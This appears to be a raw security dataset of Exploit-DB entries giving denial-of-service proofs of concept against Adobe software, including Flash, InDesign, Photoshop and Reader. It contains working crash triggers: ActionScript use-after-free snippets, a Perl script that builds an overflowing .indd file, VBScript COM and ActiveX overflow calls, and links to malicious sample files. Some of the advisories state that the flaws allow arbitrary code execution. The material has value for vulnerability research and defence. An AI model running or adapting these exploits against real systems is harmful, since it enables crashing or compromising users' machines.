deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39053
Description: Adobe Flash TextField.text Setter - Use-After-Free
Type: dos
Platform: windows
Date: 2015-12-18
Author: Google Security Research

Exploit:
Source:  https://code.google.com/p/google-security-research/issues/detail?id=576

There is a use-after-free in the TextField.text setter. If the text the field is set to is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.text = {toString : func};

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "natalie";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39053.zip
Exploit-DB #39045
Description: Adobe Flash TextField.thickness Setter - Use-After-Free
Type: dos
Platform: windows
Date: 2015-12-18
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=587

There is a use-after-free in the TextField thickness setter. If the thickness parameter is an object with valueOf set to a function which frees the TextField parent, it is used after it is freed.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.thickness = {valueOf : func};

function func(){
   
        if(times == 0){
          times++;
          return 0;
        }

	mc.removeMovieClip();

        // Fix heap here

	return 0;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39045.zip
Exploit-DB #39052
Description: Adobe Flash TextField.type Setter - Use-After-Free
Type: dos
Platform: windows
Date: 2015-12-18
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=577

There is a use-after-free in the TextField.type setter. If the type the field is set to is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.type = {toString : func};

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "input";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39052.zip
Exploit-DB #13817
Description: Adobe InDesign CS3 - '.INDD' Handling Buffer Overflow
Type: dos
Platform: windows
Date: 2010-06-11
Author: LiquidWorm

Exploit:
#!/usr/bin/perl
#
# Adobe InDesign CS3 INDD File Handling Buffer Overflow Vulnerability
#
# Vendor: Adobe Systems Inc.
#
# Product Web Page: http://www.adobe.com
#
# Version tested: CS3 10.0
#
# Summary: Adobe® InDesign® CS3 software provides precise control over
# typography and built-in creative tools for designing, preflighting,
# and publishing documents for print, online, or to mobile devices. Include
# interactivity, animation, video, and sound in page layouts to fully engage
# readers.
#
# Desc: When parsing .indd files to the application, it crashes instantly
# overwriting memory registers. Depending on the offset, EBP, EDI, EDX and
# ESI gets overwritten. Pottential vulnerability use is arbitrary code execution
# and denial of service.
#
#
# Tested on Microsoft Windows XP Professional SP3 (English)
#
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# Zero Science Lab - http://www.zeroscience.mk
#
# 16.09.2009
#
#
#
# Vendor status:
#
# [16.09.2009] Vulnerability discovered.
# [09.03.2010] Vulnerability reported to vendor with sent PoC files.
# [21.03.2010] Asked confirmation from the vendor.
# [21.03.2010] Vendor asked for PoC files due to communication errors.
# [22.03.2010] Re-sent PoC files to vendor.
# [04.04.2010] Vendor confirms vulnerability.
# [03.06.2010] Vendor informs that they discontinued support for CS3 since CS5 is out.
# [04.06.2010] Public advisory released.
#
#
# Zero Science Lab Advisory ID: ZSL-2010-4941
# Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4941.php
#
#
#
# Raw PoC code:
#

$header = "\x06\x06\xED\xF5\xD8\x1D\x46\xE5\xBD\x31\xEF\xE7\xFE\x74\xB7\x1D\x44\x4F\x43\x55\x4D\x45\x4E\x54\x01";

$fn = "teppei.indd";

$bof = "\x41" x 10000;

print "\n\n[*] Creating PoC file: $fn ...\r\n";

sleep(1);

open(indd, ">./$fn") || die "\n\aCannot open $fn : $!";

print indd "$header" . "$bof";

close (indd);

print "\n[*] PoC file successfully created!\r\n";
Exploit-DB #18633
Description: Adobe Photoshop 12.1 - '.tiff' Parsing Use-After-Free
Type: dos
Platform: windows
Date: 2012-03-20
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Adobe Photoshop 12.1 Tiff Parsing Use-After-Free

Platforms:   Windows

{PRL}:   2012-07

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC


#####################################################################################

===============
1) Introduction
===============

 

Adobe Photoshop is a graphics editing program developed and published by Adobe Systems Incorporated.

Adobe's 2003 "Creative Suite" rebranding led to Adobe Photoshop 8's renaming to Adobe Photoshop CS.

Thus, Adobe Photoshop CS5 is the 12th major release of Adobe Photoshop. The CS rebranding also resulted

in Adobe offering numerous software packages containing multiple Adobe programs for a reduced price.

Adobe Photoshop is released in two editions: Adobe Photoshop, and Adobe Photoshop Extended, with the

Extended having extra 3D image creation, motion graphics editing, and advanced image analysis features.[6]

Adobe Photoshop Extended is included in all of Adobe's Creative Suite offerings except Design Standard,

which includes the Adobe Photoshop edition. Alongside Photoshop and Photoshop Extended, Adobe also

publishes Photoshop Elements and Photoshop Lightroom, collectively called "The Adobe Photoshop Family".

In 2008, Adobe released Adobe Photoshop Express, a free web-based image editing tool to edit photos directly

on blogs and social networking sites; in 2011 a version was released for the Android operating system and the

iOS operating system.[7][8] Adobe only supports Windows and Macintosh versions of Photoshop, but using Wine,

Photoshop CS5 can run well on Linux

 

(http://en.wikipedia.org/wiki/Adobe_Photoshop)

#####################################################################################

============================
2) Report Timeline
============================

2011-09-20  Vulnerability reported to Adobe
2012-03-20  Publication of this advisory (180 days after reporting to the vendor)


#####################################################################################

============================
3) Technical details
============================

 

The vulnerability is caused due to an error when processing Tiff file format image, which can be exploited to cause

a use-after-free by e.g. tricking a user into opening a specially crafted file.

 


#####################################################################################

===========
4) POC
===========

http://www.protekresearchlab.com/exploits/PRL-2012-07.tif
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19338.tif
Exploit-DB #23915
Description: Adobe Photoshop 8.0 - COM Objects Denial of Service
Type: dos
Platform: windows
Date: 2004-04-06
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/10061/info

It has been reported that Adobe Photoshop may be prone to a denial of service vulnerability that may crash an instance of Internet Explorer. An attacker can exploit this issue by creating a script that attempts to create a COM object and enticing a user to execute the script in their browser. When the user executes the script via Internet Explorer, the Internet Explorer window hangs leading to a denial of service in the browser.

Adobe Photoshop 8.0 is reported to be prone to this issue, however, it is possible that other versions are affected as well. 

<script language=vbscript>
Dim cooler
Set cooler = CreateObject("Photoshop.Application.8" )
</script>

<script language=vbscript>
dim cooler
Set cooler = CreateObject("Photoshop.PhotoCDOpenOptions.8" )
</script>
Exploit-DB #39431
Description: Adobe Photoshop CC / Bridge CC - '.iff' Parsing Memory Corruption
Type: dos
Platform: windows
Date: 2016-02-09
Author: Francis Provencher

Exploit:
#####################################################################################

Application: Adobe Photoshop CC & Bridge CC IFF file parsing memory corruption

Platforms: Windows

Versions: Bridge CC 6.1.1 and earlier versions

Version: Photoshop CC 16.1.1 (2015.1.1) and earlier versions

CVE; 2016-0953

Author: Francis Provencher of COSIG

Twitter: @COSIG_

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Adobe Photoshop is a raster graphics editor developed and published by Adobe Systems for Windows and OS X.

(https://en.wikipedia.org/wiki/Adobe_Photoshop)

#####################################################################################

============================
2) Report Timeline
============================

2015-11-11: Francis Provencher from COSIG report the issue to PSIRT (ADOBE);

2016-02-09: Adobe release a patch (APSB16-03);

2016-02-09: COSIG release this advisory;

#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Photoshop CC & Bridge CC. User interaction is required to exploit this vulnerability in that the target must open a malicious file. By providing a malformed IFF file, an attacker can cause an heap memory corruption. An attacker could leverage this to execute arbitrary code under the context of the application.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2016-10.iff

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39431.zip

###############################################################################
Exploit-DB #39429
Description: Adobe Photoshop CC / Bridge CC - '.png' Parsing Memory Corruption (1)
Type: dos
Platform: windows
Date: 2016-02-09
Author: Francis Provencher

Exploit:
#####################################################################################

Application: Adobe Photoshop CC & Bridge CC PNG file parsing memory corruption

Platforms: Windows

Versions: Bridge CC 6.1.1 and earlier versions

Version: Photoshop CC 16.1.1 (2015.1.1) and earlier versions

CVE; 2016-0951

Author: Francis Provencher of COSIG

Twitter: @COSIG_

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Adobe Photoshop is a raster graphics editor developed and published by Adobe Systems for Windows and OS X.

(https://en.wikipedia.org/wiki/Adobe_Photoshop)

#####################################################################################

============================
2) Report Timeline
============================

2015-11-11: Francis Provencher from COSIG report the issue to PSIRT (ADOBE);

2016-02-09: Adobe release a patch (APSB16-03);

2016-02-09: COSIG release this advisory;

#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Photoshop CC & Bridge CC. User interaction is required to exploit this vulnerability in that the target must open a malicious file. By providing a malformed PNG file with an invalid uint32 Length, an attacker can cause an heap memory corruption. An attacker could leverage this to execute arbitrary code under the context of the application.

#####################################################################################

===========

4) POC

===========

(Theses files must be in the same folder for Bridge CC)

http://protekresearchlab.com/exploits/COSIG-2016-08-1.png
http://protekresearchlab.com/exploits/COSIG-2016-08-2.png

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39429.zip


###############################################################################
Exploit-DB #39430
Description: Adobe Photoshop CC / Bridge CC - '.png' Parsing Memory Corruption (2)
Type: dos
Platform: windows
Date: 2016-02-09
Author: Francis Provencher

Exploit:
#####################################################################################

Application: Adobe Photoshop CC & Bridge CC PNG file parsing memory corruption

Platforms: Windows

Versions: Bridge CC 6.1.1 and earlier versions

Version: Photoshop CC 16.1.1 (2015.1.1) and earlier versions

CVE; 2016-0952

Author: Francis Provencher of COSIG

Twitter: @COSIG_

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Adobe Photoshop is a raster graphics editor developed and published by Adobe Systems for Windows and OS X.

(https://en.wikipedia.org/wiki/Adobe_Photoshop)

#####################################################################################

============================
2) Report Timeline
============================

2015-11-11: Francis Provencher from COSIG report the issue to PSIRT (ADOBE);

2016-02-09: Adobe release a patch (APSB16-03);

2016-02-09: COSIG release this advisory;

#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Photoshop CC & Bridge CC. User interaction is required to exploit this vulnerability in that the target must open a malicious file. By providing a malformed PNG file with an invialid uint32 CRC checksum, an attacker can cause an heap memory corruption. An attacker could leverage this to execute arbitrary code under the context of the application.

#####################################################################################

===========

4) POC

===========

(Theses files must be in the same folder for Bridge CC)

http://protekresearchlab.com/exploits/COSIG-2016-09-1.png
http://protekresearchlab.com/exploits/COSIG-2016-09-2.png

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39430.zip

###############################################################################
Exploit-DB #17712
Description: Adobe Photoshop CS5 - '.gif' Remote Code Execution
Type: dos
Platform: windows
Date: 2011-08-22
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Adobe Photoshop CS5 GIF Remote Code Execution

Platforms:   Adobe Photoshop CS5 (12.0 and 12.1)

Exploitation:   Remote code execution

CVE Number:   CVE-2011-2131

Adobe Vulnerability Identifier:   APSB11-22

{PRL}:   2011-08

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============
Adobe Photoshop is a graphics editing program developed and published by Adobe Systems Incorporated.

Adobe's 2003 "Creative Suite" rebranding led to Adobe Photoshop 8's renaming to Adobe Photoshop CS. Thus,

Adobe Photoshop CS5 is the 12th major release of Adobe Photoshop. The CS rebranding also resulted

in Adobe offering numerous software packages containing multiple Adobe programs for a reduced price.

Adobe Photoshop is released in two editions: Adobe Photoshop, and Adobe Photoshop Extended,

with the Extended having extra 3D image creation, motion graphics editing, and advanced image

analysis features.[3]. Adobe Photoshop Extended is included in all of Adobe's Creative Suite offerings

except Design Standard, which includes the Adobe Photoshop edition.

http://en.wikipedia.org/wiki/Adobe_Photoshop

#####################################################################################

============================
2) Timeline
============================

2011-06-14 - Vulnerability reported to vendor
2011-09-09 - Coordinated public release of advisory

#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations

of Adobe PhotoShop CS5. User interaction is required to exploit this vulnerability in that the

target must open a malicious GIF file. When the "ushort ImageHeight" is crafted with an invalid value

the memory is corrupted and arbitrary code can be run on the remote host.

#####################################################################################

===========
4) The Code
===========

http://www.protekresearchlab.com/exploits/PRL-2011-08.gif
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17712.zip
Exploit-DB #22464
Description: Adobe Reader 11.0.0 - Stack Overflow Crash (PoC)
Type: dos
Platform: windows
Date: 2012-11-04
Author: coolkaveh

Exploit:
Title    :  Adobe Reader 11.0.0 Stack overflow 
Version  :  11.0.0.379
Date     :  2012-11-01
Vendor   :  http://www.adobe.com/
Impact   :  Med
Contact  :  coolkaveh [at] rocketmail.com
Twitter  :  @coolkaveh
tested   :  Windows 7 X64 ENG
Author   :  coolkaveh
###########################################################################################################
Bug :
----
Don't forget that exploitable bugs will be published after being patched
----
Stack Exhaustion vulnerability during the handling of the pdf files.
That will trigger a denial of service condition
---- 
############################################################################################################
ADOBE_READLOGGER_CMD:PAUSE_LOG
ModLoad: [PII_REDACTED]   C:\Program Files (x86)\Adobe\Reader 11.0\Reader\BIBUtils.dll
(23ac.1cc8): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00acefa8 
ebx=004431a8 
ecx=0000001c 
edx=00000be7 
esi=00443094 
edi=00443130
eip=772a22a8 
esp=00443000 
ebp=0044300c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
ntdll!RtlEnterCriticalSection+0x8:
772a22a8 56              push    esi
###########################################################################################################
Proof of concept included. 

http://www42.zippyshare.com/v/23669551/file.html
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22464.pdf
Exploit-DB #29076
Description: Adobe Reader 7.0.x - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2006-11-17
Author: Michal Bucko

Exploit:
source: https://www.securityfocus.com/bid/21155/info

Adobe Acrobat is prone to multiple vulnerabilities. These errors have been confirmed to occur when Reader is invoked by Internet Explorer; other occurrences may exist.

Attackers can exploit these issues to cause denial-of-service conditions on a victim computer.

The vendor has confirmed that one of these issues may lead to arbitrary code execution.

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:CA8A9780-280D-11CF-A24D[PII_REDACTED]00' id='target' 
/>
<script language='vbscript'>

targetFile = "C:\Program Files\Adobe\Acrobat 7.0\ActiveX\AcroPDF.dll"
prototype  = "Function LoadFile ( ByVal fileName As String ) As Boolean"
memberName = "LoadFile"
progid     = "AcroPDFLib.AcroPDF"
argCount   = 1

arg1=String(6164, "A")

target.LoadFile arg1 

</script></job></package>